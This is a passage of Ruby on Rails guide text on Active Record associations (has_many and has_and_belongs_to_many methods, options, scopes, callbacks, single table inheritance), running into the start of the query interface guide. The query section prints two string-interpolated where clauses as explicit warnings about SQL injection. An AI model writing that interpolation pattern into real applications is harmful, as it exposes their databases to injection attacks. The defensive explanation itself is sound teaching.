4.3.1.11 collection.find(...)

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find.

@available_books = @author.books.find(1)

4.3.1.12 collection.where(...)

The collection.where method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.

@available_books = @author.books.where(available: true) # No query yet
@available_book = @available_books.first # Now the database will be queried

4.3.1.13 collection.exists?(...)

The collection.exists? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

4.3.1.14 collection.build(attributes = {}, ...)

The collection.build method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will not yet be saved.

@book = @author.books.build(published_at: Time.now,
book_number: "A12345")

@books = @author.books.build([
{ published_at: Time.now, book_number: "A12346" },
{ published_at: Time.now, book_number: "A12347" }
])

4.3.1.15 collection.create(attributes = {})

The collection.create method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object will be saved.

@book = @author.books.create(published_at: Time.now,
book_number: "A12345")

@books = @author.books.create([
{ published_at: Time.now, book_number: "A12346" },
{ published_at: Time.now, book_number: "A12347" }
])

4.3.1.16 collection.create!(attributes = {})

Does the same as collection.create above, but raises ActiveRecord::RecordInvalid if the record is invalid.

4.3.2 Options for has_many

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the has_many association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:

class Author < ApplicationRecord
has_many :books, dependent: :delete_all, validate: false
end

The has_many association supports these options:

- :as

- :autosave

- :class_name

- :counter_cache

- :dependent

- :foreign_key

- :inverse_of

- :primary_key

- :source

- :source_type

- :through

- :validate

4.3.2.1 :as

Setting the :as option indicates that this is a polymorphic association, as discussed earlier in this guide.

4.3.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.

4.3.2.3 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if an author has many books, but the actual name of the model containing books is Transaction, you'd set things up this way:

class Author < ApplicationRecord
has_many :books, class_name: "Transaction"
end

4.3.2.4 :counter_cache

This option can be used to configure a custom named :counter_cache. You only need this option when you customized the name of your :counter_cache on the belongs_to association.

4.3.2.5 :dependent

Controls what happens to the associated objects when their owner is destroyed:

- :destroy causes all the associated objects to also be destroyed

- :delete_all causes all the associated objects to be deleted directly from the database (so callbacks will not execute)

- :nullify causes the foreign keys to be set to NULL. Callbacks are not executed.

- :restrict_with_exception causes an exception to be raised if there are any associated records

- :restrict_with_error causes an error to be added to the owner if there are any associated objects

4.3.2.6 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

class Author < ApplicationRecord
has_many :books, foreign_key: "cust_id"
end

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.3.2.7 :inverse_of

The :inverse_of option specifies the name of the belongs_to association that is the inverse of this association. Does not work in combination with the :through or :as options.

class Author < ApplicationRecord
has_many :books, inverse_of: :author
end

class Book < ApplicationRecord
belongs_to :author, inverse_of: :books
end

4.3.2.8 :primary_key

By convention, Rails assumes that the column used to hold the primary key of the association is id. You can override this and explicitly specify the primary key with the :primary_key option.

Let's say the users table has id as the primary_key but it also has a guid column. The requirement is that the todos table should hold the guid column value as the foreign key and not id value. This can be achieved like this:

class User < ApplicationRecord
has_many :todos, primary_key: :guid
end

Now if we execute @todo = @user.todos.create then the @todo record's user_id value will be the guid value of @user.

4.3.2.9 :source

The :source option specifies the source association name for a has_many :through association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.

4.3.2.10 :source_type

The :source_type option specifies the source association type for a has_many :through association that proceeds through a polymorphic association.

4.3.2.11 :through

The :through option specifies a join model through which to perform the query. has_many :through associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.

4.3.2.12 :validate

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

4.3.3 Scopes for has_many

There may be times when you wish to customize the query used by has_many. Such customizations can be achieved via a scope block. For example:

class Author < ApplicationRecord
has_many :books, -> { where processed: true }
end

You can use any of the standard querying methods inside the scope block. The following ones are discussed below:

- where

- extending

- group

- includes

- limit

- offset

- order

- readonly

- select

- distinct

4.3.3.1 where

The where method lets you specify the conditions that the associated object must meet.

class Author < ApplicationRecord
has_many :confirmed_books, -> { where "confirmed = 1" },
class_name: "Book"
end

You can also set conditions via a hash:

class Author < ApplicationRecord
has_many :confirmed_books, -> { where confirmed: true },
class_name: "Book"
end

If you use a hash-style where option, then record creation via this association will be automatically scoped using the hash. In this case, using @author.confirmed_books.create or @author.confirmed_books.build will create books where the confirmed column has the value true.

4.3.3.2 extending

The extending method specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

4.3.3.3 group

The group method supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

class Author < ApplicationRecord
has_many :line_items, -> { group 'books.id' },
through: :books
end

4.3.3.4 includes

You can use the includes method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord
belongs_to :author
has_many :line_items
end

class LineItem < ApplicationRecord
belongs_to :book
end

If you frequently retrieve line items directly from authors (@author.books.line_items), then you can make your code somewhat more efficient by including line items in the association from authors to books:

class Author < ApplicationRecord
has_many :books, -> { includes :line_items }
end

class Book < ApplicationRecord
belongs_to :author
has_many :line_items
end

class LineItem < ApplicationRecord
belongs_to :book
end

4.3.3.5 limit

The limit method lets you restrict the total number of objects that will be fetched through an association.

class Author < ApplicationRecord
has_many :recent_books,
-> { order('published_at desc').limit(100) },
class_name: "Book",
end

4.3.3.6 offset

The offset method lets you specify the starting offset for fetching objects via an association. For example, -> { offset(11) } will skip the first 11 records.

4.3.3.7 order

The order method dictates the order in which associated objects will be received (in the syntax used by an SQL ORDER BY clause).

class Author < ApplicationRecord
has_many :books, -> { order "date_confirmed DESC" }
end

4.3.3.8 readonly

If you use the readonly method, then the associated objects will be read-only when retrieved via the association.

4.3.3.9 select

The select method lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

If you specify your own select, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.

4.3.3.10 distinct

Use the distinct method to keep the collection free of duplicates. This is mostly useful together with the :through option.

class Person < ApplicationRecord
has_many :readings
has_many :articles, through: :readings
end

person = Person.create(name: 'John')
article   = Article.create(name: 'a1')
person.articles << article
person.articles << article
person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]

In the above case there are two readings and person.articles brings out both of them even though these records are pointing to the same article.

Now let's set distinct:

class Person
has_many :readings
has_many :articles, -> { distinct }, through: :readings
end

person = Person.create(name: 'Honda')
article   = Article.create(name: 'a1')
person.articles << article
person.articles << article
person.articles.inspect # => [#<Article id: 7, name: "a1">]
Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]

In the above case there are still two readings. However person.articles shows only one article because the collection loads only unique records.

If you want to make sure that, upon insertion, all of the records in the persisted association are distinct (so that you can be sure that when you inspect the association that you will never find duplicate records), you should add a unique index on the table itself. For example, if you have a table named readings and you want to make sure the articles can only be added to a person once, you could add the following in a migration:

add_index :readings, [:person_id, :article_id], unique: true

Once you have this unique index, attempting to add the article to a person twice will raise an ActiveRecord::RecordNotUnique error:

person = Person.create(name: 'Honda')
article = Article.create(name: 'a1')
person.articles << article
person.articles << article # => ActiveRecord::RecordNotUnique

Note that checking for uniqueness using something like include? is subject to race conditions. Do not attempt to use include? to enforce distinctness in an association. For instance, using the article example from above, the following code would be racy because multiple users could be attempting this at the same time:

person.articles << article unless person.articles.include?(article)

4.3.4 When are Objects Saved?

When you assign an object to a has_many association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

If the parent object (the one declaring the has_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

If you want to assign an object to a has_many association without saving the object, use the collection.build method.

4.4 has_and_belongs_to_many Association Reference

The has_and_belongs_to_many association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.

4.4.1 Methods Added by has_and_belongs_to_many

When you declare a has_and_belongs_to_many association, the declaring class automatically gains 16 methods related to the association:

- collection

- collection<<(object, ...)

- collection.delete(object, ...)

- collection.destroy(object, ...)

- collection=(objects)

- collection_singular_ids

- collection_singular_ids=(ids)

- collection.clear

- collection.empty?

- collection.size

- collection.find(...)

- collection.where(...)

- collection.exists?(...)

- collection.build(attributes = {})

- collection.create(attributes = {})

- collection.create!(attributes = {})

In all of these methods, collection is replaced with the symbol passed as the first argument to has_and_belongs_to_many, and collection_singular is replaced with the singularized version of that symbol. For example, given the declaration:

class Part < ApplicationRecord
has_and_belongs_to_many :assemblies
end

Each instance of the Part model will have these methods:

assemblies
assemblies<<(object, ...)
assemblies.delete(object, ...)
assemblies.destroy(object, ...)
assemblies=(objects)
assembly_ids
assembly_ids=(ids)
assemblies.clear
assemblies.empty?
assemblies.size
assemblies.find(...)
assemblies.where(...)
assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
assemblies.create!(attributes = {})

4.4.1.1 Additional Column Methods

If the join table for a has_and_belongs_to_many association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.

The use of extra attributes on the join table in a has_and_belongs_to_many association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a has_many :through association instead of has_and_belongs_to_many.

4.4.1.2 collection

The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.

@assemblies = @part.assemblies

4.4.1.3 collection<<(object, ...)

The collection<< method adds one or more objects to the collection by creating records in the join table.

@part.assemblies << @assembly1

This method is aliased as collection.concat and collection.push.

4.4.1.4 collection.delete(object, ...)

The collection.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

@part.assemblies.delete(@assembly1)

This does not trigger callbacks on the join records.

4.4.1.5 collection.destroy(object, ...)

The collection.destroy method removes one or more objects from the collection by running destroy on each record in the join table, including running callbacks. This does not destroy the objects.

@part.assemblies.destroy(@assembly1)

4.4.1.6 collection=(objects)

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

4.4.1.7 collection_singular_ids

The collection_singular_ids method returns an array of the ids of the objects in the collection.

@assembly_ids = @part.assembly_ids

4.4.1.8 collection_singular_ids=(ids)

The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

4.4.1.9 collection.clear

The collection.clear method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.

4.4.1.10 collection.empty?

The collection.empty? method returns true if the collection does not contain any associated objects.

<% if @part.assemblies.empty? %>
This part is not used in any assemblies
<% end %>

4.4.1.11 collection.size

The collection.size method returns the number of objects in the collection.

@assembly_count = @part.assemblies.size

4.4.1.12 collection.find(...)

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find. It also adds the additional condition that the object must be in the collection.

@assembly = @part.assemblies.find(1)

4.4.1.13 collection.where(...)

The collection.where method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.

@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)

4.4.1.14 collection.exists?(...)

The collection.exists? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

4.4.1.15 collection.build(attributes = {})

The collection.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will not yet be saved.

@assembly = @part.assemblies.build({assembly_name: "Transmission housing"})

4.4.1.16 collection.create(attributes = {})

The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object will be saved.

@assembly = @part.assemblies.create({assembly_name: "Transmission housing"})

4.4.1.17 collection.create!(attributes = {})

Does the same as collection.create, but raises ActiveRecord::RecordInvalid if the record is invalid.

4.4.2 Options for has_and_belongs_to_many

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the has_and_belongs_to_many association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { readonly },
autosave: true
end

The has_and_belongs_to_many association supports these options:

- :association_foreign_key

- :autosave

- :class_name

- :foreign_key

- :join_table

- :validate

4.4.2.1 :association_foreign_key

By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix _id added. The :association_foreign_key option lets you set the name of the foreign key directly:

The :foreign_key and :association_foreign_key options are useful when setting up a many-to-many self-join. For example:

class User < ApplicationRecord
has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
end

4.4.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.

4.4.2.3 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is Gadget, you'd set things up this way:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, class_name: "Gadget"
end

4.4.2.4 :foreign_key

By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

class User < ApplicationRecord
has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
end

4.4.2.5 :join_table

If the default name of the join table, based on lexical ordering, is not what you want, you can use the :join_table option to override the default.

4.4.2.6 :validate

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

4.4.3 Scopes for has_and_belongs_to_many

There may be times when you wish to customize the query used by has_and_belongs_to_many. Such customizations can be achieved via a scope block. For example:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { where active: true }
end

You can use any of the standard querying methods inside the scope block. The following ones are discussed below:

- where

- extending

- group

- includes

- limit

- offset

- order

- readonly

- select

- distinct

4.4.3.1 where

The where method lets you specify the conditions that the associated object must meet.

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { where "factory = 'Seattle'" }
end

You can also set conditions via a hash:

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { where factory: 'Seattle' }
end

If you use a hash-style where, then record creation via this association will be automatically scoped using the hash. In this case, using @parts.assemblies.create or @parts.assemblies.build will create orders where the factory column has the value "Seattle".

4.4.3.2 extending

The extending method specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

4.4.3.3 group

The group method supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies, -> { group "factory" }
end

4.4.3.4 includes

You can use the includes method to specify second-order associations that should be eager-loaded when this association is used.

4.4.3.5 limit

The limit method lets you restrict the total number of objects that will be fetched through an association.

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { order("created_at DESC").limit(50) }
end

4.4.3.6 offset

The offset method lets you specify the starting offset for fetching objects via an association. For example, if you set offset(11), it will skip the first 11 records.

4.4.3.7 order

The order method dictates the order in which associated objects will be received (in the syntax used by an SQL ORDER BY clause).

class Parts < ApplicationRecord
has_and_belongs_to_many :assemblies,
-> { order "assembly_name ASC" }
end

4.4.3.8 readonly

If you use the readonly method, then the associated objects will be read-only when retrieved via the association.

4.4.3.9 select

The select method lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

4.4.3.10 distinct

Use the distinct method to remove duplicates from the collection.

4.4.4 When are Objects Saved?

When you assign an object to a has_and_belongs_to_many association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

If the parent object (the one declaring the has_and_belongs_to_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

If you want to assign an object to a has_and_belongs_to_many association without saving the object, use the collection.build method.

4.5 Association Callbacks

Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a :before_save callback to cause something to happen just before an object is saved.

Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:

- before_add

- after_add

- before_remove

- after_remove

You define association callbacks by adding options to the association declaration. For example:

class Author < ApplicationRecord
has_many :books, before_add: :check_credit_limit

def check_credit_limit(book)
...
end
end

Rails passes the object being added or removed to the callback.

You can stack callbacks on a single event by passing them as an array:

class Author < ApplicationRecord
has_many :books,
before_add: [:check_credit_limit, :calculate_shipping_charges]

def check_credit_limit(book)
...
end

def calculate_shipping_charges(book)
...
end
end

If a before_add callback throws an exception, the object does not get added to the collection. Similarly, if a before_remove callback throws an exception, the object does not get removed from the collection.

4.6 Association Extensions

You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:

class Author < ApplicationRecord
has_many :books do
def find_by_book_prefix(book_number)
find_by(category_id: book_number[0..2])
end
end
end

If you have an extension that should be shared by many associations, you can use a named extension module. For example:

module FindRecentExtension
def find_recent
where("created_at > ?", 5.days.ago)
end
end

class Author < ApplicationRecord
has_many :books, -> { extending FindRecentExtension }
end

class Supplier < ApplicationRecord
has_many :deliveries, -> { extending FindRecentExtension }
end

Extensions can refer to the internals of the association proxy using these three attributes of the proxy_association accessor:

- proxy_association.owner returns the object that the association is a part of.

- proxy_association.reflection returns the reflection object that describes the association.

- proxy_association.target returns the associated object for belongs_to or has_one, or the collection of associated objects for has_many or has_and_belongs_to_many.

5 Single Table Inheritance

Sometimes, you may want to share fields and behavior between different models. Let's say we have Car, Motorcycle and Bicycle models. We will want to share the color and price fields and some methods for all of them, but having some specific behavior for each, and separated controllers too.

Rails makes this quite easy. First, let's generate the base Vehicle model:

$ rails generate model vehicle type:string color:string price:decimal{10.2}

Did you note we are adding a "type" field? Since all models will be saved in a single database table, Rails will save in this column the name of the model that is being saved. In our example, this can be "Car", "Motorcycle" or "Bicycle." STI won't work without a "type" field in the table.

Next, we will generate the three models that inherit from Vehicle. For this, we can use the --parent=PARENT option, which will generate a model that inherits from the specified parent and without equivalent migration (since the table already exists).

For example, to generate the Car model:

$ rails generate model car --parent=Vehicle

The generated model will look like this:

class Car < Vehicle
end

This means that all behavior added to Vehicle is available for Car too, as associations, public methods, etc.

Creating a car will save it in the vehicles table with "Car" as the type field:

Car.create(color: 'Red', price: 10000)

will generate the following SQL:

INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)

Querying car records will just search for vehicles that are cars:

Car.all

will run a query like:

SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')

Active Record Query Interface — Ruby...

1 Retrieving Objects from the Database

To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.

The methods are:

- find

- create_with

- distinct

- eager_load

- extending

- from

- group

- having

- includes

- joins

- left_outer_joins

- limit

- lock

- none

- offset

- order

- preload

- readonly

- references

- reorder

- reverse_order

- select

- distinct

- where

All of the above methods return an instance of ActiveRecord::Relation.

The primary operation of Model.find(options) can be summarized as:

- Convert the supplied options to an equivalent SQL query.

- Fire the SQL query and retrieve the corresponding results from the database.

- Instantiate the equivalent Ruby object of the appropriate model for every resulting row.

- Run after_find and then after_initialize callbacks, if any.

1.1 Retrieving a Single Object

Active Record provides several different ways of retrieving a single object.

1.1.1 find

Using the find method, you can retrieve the object corresponding to the specified primary key that matches any supplied options. For example:

# Find the client with primary key (id) 10.
client = Client.find(10)
# => #<Client id: 10, first_name: "Ryan">

The SQL equivalent of the above is:

SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1

The find method will raise an ActiveRecord::RecordNotFound exception if no matching record is found.

You can also use this method to query for multiple objects. Call the find method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied primary keys. For example:

# Find the clients with primary keys 1 and 10.
client = Client.find([1, 10]) # Or even Client.find(1, 10)
# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]

The SQL equivalent of the above is:

SELECT * FROM clients WHERE (clients.id IN (1,10))

The find method will raise an ActiveRecord::RecordNotFound exception unless a matching record is found for all of the supplied primary keys.

1.1.2 take

The take method retrieves a record without any implicit ordering. For example:

client = Client.take
# => #<Client id: 1, first_name: "Lifo">

The SQL equivalent of the above is:

SELECT * FROM clients LIMIT 1

The take method returns nil if no record is found and no exception will be raised.

You can pass in a numerical argument to the take method to return up to that number of results. For example

client = Client.take(2)
# => [
#   #<Client id: 1, first_name: "Lifo">,
#   #<Client id: 220, first_name: "Sara">
# ]

The SQL equivalent of the above is:

SELECT * FROM clients LIMIT 2

The take! method behaves exactly like take, except that it will raise ActiveRecord::RecordNotFound if no matching record is found.

The retrieved record may vary depending on the database engine.

1.1.3 first

The first method finds the first record ordered by primary key (default). For example:

client = Client.first
# => #<Client id: 1, first_name: "Lifo">

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1

The first method returns nil if no matching record is found and no exception will be raised.

If your default scope contains an order method, first will return the first record according to this ordering.

You can pass in a numerical argument to the first method to return up to that number of results. For example

client = Client.first(3)
# => [
#   #<Client id: 1, first_name: "Lifo">,
#   #<Client id: 2, first_name: "Fifo">,
#   #<Client id: 3, first_name: "Filo">
# ]

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3

On a collection that is ordered using order, first will return the first record ordered by the specified attribute for order.

client = Client.order(:first_name).first
# => #<Client id: 2, first_name: "Fifo">

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1

The first! method behaves exactly like first, except that it will raise ActiveRecord::RecordNotFound if no matching record is found.

1.1.4 last

The last method finds the last record ordered by primary key (default). For example:

client = Client.last
# => #<Client id: 221, first_name: "Russel">

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1

The last method returns nil if no matching record is found and no exception will be raised.

If your default scope contains an order method, last will return the last record according to this ordering.

You can pass in a numerical argument to the last method to return up to that number of results. For example

client = Client.last(3)
# => [
#   #<Client id: 219, first_name: "James">,
#   #<Client id: 220, first_name: "Sara">,
#   #<Client id: 221, first_name: "Russel">
# ]

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3

On a collection that is ordered using order, last will return the last record ordered by the specified attribute for order.

client = Client.order(:first_name).last
# => #<Client id: 220, first_name: "Sara">

The SQL equivalent of the above is:

SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1

The last! method behaves exactly like last, except that it will raise ActiveRecord::RecordNotFound if no matching record is found.

1.1.5 find_by

The find_by method finds the first record matching some conditions. For example:

Client.find_by first_name: 'Lifo'
# => #<Client id: 1, first_name: "Lifo">

Client.find_by first_name: 'Jon'
# => nil

It is equivalent to writing:

Client.where(first_name: 'Lifo').take

The SQL equivalent of the above is:

SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1

The find_by! method behaves exactly like find_by, except that it will raise ActiveRecord::RecordNotFound if no matching record is found. For example:

Client.find_by! first_name: 'does not exist'
# => ActiveRecord::RecordNotFound

This is equivalent to writing:

Client.where(first_name: 'does not exist').take!

1.2 Retrieving Multiple Objects in Batches

We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.

This may appear straightforward:

# This is very inefficient when the users table has thousands of rows.
User.all.each do |user|
NewsMailer.weekly(user).deliver_now
end

But this approach becomes increasingly impractical as the table size increases, since User.all.each instructs Active Record to fetch the entire table in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.

Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, find_each, retrieves a batch of records and then yields each record to the block individually as a model. The second method, find_in_batches, retrieves a batch of records and then yields the entire batch to the block as an array of models.

The find_each and find_in_batches methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.

1.2.1 find_each

The find_each method retrieves a batch of records and then yields each record to the block individually as a model. In the following example, find_each will retrieve 1000 records (the current default for both find_each and find_in_batches) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:

User.find_each do |user|
NewsMailer.weekly(user).deliver_now
end

To add conditions to a find_each operation you can chain other Active Record methods such as where:

User.where(weekly_subscriber: true).find_each do |user|
NewsMailer.weekly(user).deliver_now
end

1.2.1.1 Options for find_each

The find_each method accepts most of the options allowed by the regular find method, except for :order and :limit, which are reserved for internal use by find_each.

Three additional options, :batch_size, :start and :finish, are available as well.

:batch_size

The :batch_size option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:

User.find_each(batch_size: 5000) do |user|
NewsMailer.weekly(user).deliver_now
end

:start

By default, records are fetched in ascending order of the primary key, which must be an integer. The :start option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.

For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:

User.find_each(start: 2000, batch_size: 5000) do |user|
NewsMailer.weekly(user).deliver_now
end

:finish

Similar to the :start option, :finish allows you to configure the last ID of the sequence whenever the highest ID is not the one you need. This would be useful, for example, if you wanted to run a batch process, using a subset of records based on :start and :finish

For example, to send newsletters only to users with the primary key starting from 2000 up to 10000 and to retrieve them in batches of 5000:

User.find_each(start: 2000, finish: 10000, batch_size: 5000) do |user|
NewsMailer.weekly(user).deliver_now
end

Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate :start and :finish options on each worker.

1.2.2 find_in_batches

The find_in_batches method is similar to find_each, since both retrieve batches of records. The difference is that find_in_batches yields batches to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:

# Give add_invoices an array of 1000 invoices at a time
Invoice.find_in_batches do |invoices|
export.add_invoices(invoices)
end

1.2.2.1 Options for find_in_batches

The find_in_batches method accepts the same :batch_size, :start and :finish options as find_each.

2 Conditions

The where method allows you to specify conditions to limit the records returned, representing the WHERE-part of the SQL statement. Conditions can either be specified as a string, array, or hash.

2.1 Pure String Conditions

If you'd like to add conditions to your find, you could just specify them in there, just like Client.where("orders_count = '2'"). This will find all clients where the orders_count field's value is 2.

Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, Client.where("first_name LIKE '%#{params[:first_name]}%'") is not safe. See the next section for the preferred way to handle conditions using an array.

2.2 Array Conditions

Now what if that number could vary, say as an argument from somewhere? The find would then take the form:

Client.where("orders_count = ?", params[:orders])

Active Record will take the first argument as the conditions string and any additional arguments will replace the question marks (?) in it.

If you want to specify multiple conditions:

Client.where("orders_count = ? AND locked = ?", params[:orders], false)

In this example, the first question mark will be replaced with the value in params[:orders] and the second will be replaced with the SQL representation of false, which depends on the adapter.

This code is highly preferable:

Client.where("orders_count = ?", params[:orders])

to this code:

Client.where("orders_count = #{params[:orders]}")

because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database as-is. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.

For more information on the dangers of SQL injection, see the Ruby on Rails Security Guide.

2.2.1 Placeholder Conditions

Similar to the (?) replacement style of params, you can also specify keys in your conditions string along with a corresponding keys/values hash:

Client.where("created_at >= :start_date AND created_at <= :end_date",
{start_date: params[:start_date], end_date: params[:end_date]})

This makes for clearer readability if you have a large number of variable conditions.

2.3 Hash Conditions

Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them:

Only equality, range and subset checking are possible with Hash conditions.

2.3.1 Equality Conditions

Client.where(locked: true)

This will generate SQL like this:

SELECT * FROM clients WHERE (clients.locked = 1)

The field name can also be a string:

Client.where('locked' => true)

In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.

Article.where(author: author)
Author.joins(:articles).where(articles: { author: author })

The values cannot be symbols. For example, you cannot do Client.where(status: :active).

2.3.2 Range Conditions

Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)

This will find all clients created yesterday by using a BETWEEN SQL statement:

SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')

This demonstrates a shorter syntax for the examples in Array Conditions

2.3.3 Subset Conditions

If you want to find records using the IN expression you can pass an array to the conditions hash:

Client.where(orders_count: [1,3,5])

This code will generate SQL like this:

SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))

2.4 NOT Conditions

NOT SQL queries can be built by where.not:

Client.where.not(locked: true)

In other words, this query can be generated by calling where with no argument, then immediately chain with not passing where conditions. This will generate SQL like this:

SELECT * FROM clients WHERE (clients.locked != 1)

3 Ordering

